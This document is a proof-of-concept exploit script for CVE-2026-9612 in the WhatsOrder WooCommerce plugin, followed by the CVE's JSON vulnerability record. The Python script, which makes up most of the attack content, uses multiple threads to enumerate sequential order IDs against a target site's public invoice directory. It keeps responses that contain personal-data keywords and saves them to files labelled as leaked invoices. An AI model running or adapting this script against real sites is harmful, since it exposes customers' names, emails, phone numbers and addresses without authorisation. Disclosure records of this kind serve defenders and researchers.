CVE-2026-9612

# CVE-2026-9612 PoC - WhatsOrder Plugin Sensitive Information Exposure # Exploits unauthenticated access to invoice files in wp-content/uploads/whatsorder_invoices/ import requests import sys from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://target-wordpress-site.com" INVOICE_DIR = "/wp-content/uploads/whatsorder_invoices/" START_ID = 1 END_ID = 1000 # Adjust based on expected number of orders THREADS = 10 def fetch_invoice(order_id): """Attempt to fetch an invoice file by order ID enumeration.""" # Common file naming patterns for the invoice url = f"{TARGET_URL}{INVOICE_DIR}{order_id}.html" try: response = requests.get(url, timeout=10, verify=False, headers={"User-Agent": "Mozilla/5.0"}) if response.status_code == 200 and len(response.content) > 0: # Check if the response contains PII indicators pii_indicators = ["email", "phone", "address", "order", "total", "billing", "shipping", "coupon"] if any(indicator in response.text.lower() for indicator in pii_indicators): print(f"[+] Found invoice for order #{order_id}") # Save the leaked invoice data with open(f"leaked_invoice_{order_id}.html", "w", encoding="utf-8") as f: f.write(response.text) return order_id except requests.exceptions.RequestException: pass return None def exploit(): print(f"[*] Starting CVE-2026-9612 exploit against {TARGET_URL}") print(f"[*] Enumerating order IDs from {START_ID} to {END_ID}") leaked_orders = [] with ThreadPoolExecutor(max_workers=THREADS) as executor: results = executor.map(fetch_invoice, range(START_ID, END_ID + 1)) for result in results: if result is not None: leaked_orders.append(result) print(f"\n[*] Exploitation complete. {len(leaked_orders)} invoices leaked.") print(f"[*] Leaked order IDs: {leaked_orders}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-9612", "sourceIdentifier": "[email protected]", "published": "2026-06-24T07:16:29.610", "lastModified": "2026-06-25T13:26:11.740", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WhatsOrder – Instant Checkout for WooCommerce plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.0.1 via the yapacdev_generate_order_pdf. This makes it possible for unauthenticated attackers to extract sensitive customer PII and order details — including full name, email address, phone number, billing address, ordered items with quantities and prices, applied coupons, shipping method, and order total — from any customer's invoice by enumerating sequential order IDs. Invoice HTML files are written to the publicly accessible wp-content/uploads/whatsorder_invoices/ directory, which is created without an .htaccess deny rule or index.php guard, making every invoice directly downloadable over HTTP with no authentication check."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "yapacdev", "product": "WhatsOrder – Instant Checkout for WooCommerce", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "1.0.1", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-24T12:19:12.046726Z", "id": "CVE-2026-9612", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/whatsorder-instant-checkout-for-woocommerce/tags/1.0.0/whatsorder-instant-checkout-for-woocommerce.php#L159", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/whatsorder-instant-checkout-for-woocommerce/tags/1.0.0/whatsorder-instant-checkout-for-woocommerce.php#L222", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/whatsorder-instant-checkout-for-woocommerce/tags/1.0.0/whatsorder-instant-checkout-for-woocommerce.php#L225", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/whatsorder-instant-checkout-for-woocommerce/tags/1.0.1/whatsorder-instant-checkout-for-woocommerce.php#L159", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/whatsorder-instant-checkout-for-woocommerce/tags/1.0.1/whatsorder-instant-checkout-for-woocommerce.php#L222", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/whatsorder-instant-checkout-for-woocommerce/tags/1.0.1/whatsorder-instant-checkout-for-woocommerce.php#L225", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e5d625d6-57e0-4dc7-b3ee-cb0639a02230?source=cve", "source": "[email protected]"}]}}